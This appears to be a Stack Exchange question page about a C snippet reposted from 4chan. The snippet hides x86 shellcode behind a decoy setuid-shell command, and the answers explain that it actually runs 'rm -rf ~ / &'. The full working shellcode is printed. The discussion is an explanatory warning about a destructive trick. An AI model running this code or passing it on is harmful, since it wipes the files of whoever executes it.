2

While reading a website called 4chan/b/ someone posted this code snippet, i was wondering what it does when executed? it appears to be C code, how harmful is it?

This is the full post:

Run a live system and try this:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
                                               release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Would it be safe to test it in a sandbox?

closed as off-topic by Steve Dodier-Lazaro, Steve, WhiteWinterWolf, schroeder, Stephane May 26 '15 at 6:55

  • This question does not appear to be about Information security within the scope defined in the help center.
If this question can be reworded to fit the rules in the help center, please edit the question.

  • As long as you don't have any toys in that Sandbox... this code "will destroy your home directory as a regular user, or all files if you are logged in as root." – Fernando Dec 13 '14 at 1:52
  • 3
    I'm voting to close this question as off-topic because it should have been addressed to codereview.stackexchange.com, in order to encourage future posters of similar questions to directly address them on the correct site. – Steve Dodier-Lazaro May 23 '15 at 12:18
  • 2
    @SteveDL, this question would not be on-topic at CR. – Mark May 24 '15 at 5:06
6

The hex gibberish you see is machine code.

Googling for that particular hex string reveals this wiki page.

According to the wiki, this actually runs:

rm -rf ~ / &

Yes, it's pretty harmful but it should be safe to run in a virtual machine, if you have a backup (or snapshot), under a non-privileged user, otherwise running it as a privileged user will erase your files

  • Depends on how you are accessing the box. If you're SSHing in, it will disable SSH – cutrightjm Dec 13 '14 at 6:12
  • 2
    How would you decode this machine code if it weren't already been done somewhere on the Web? – Irving Poe Dec 13 '14 at 21:46

Not the answer you're looking for? Browse other questions tagged or ask your own question.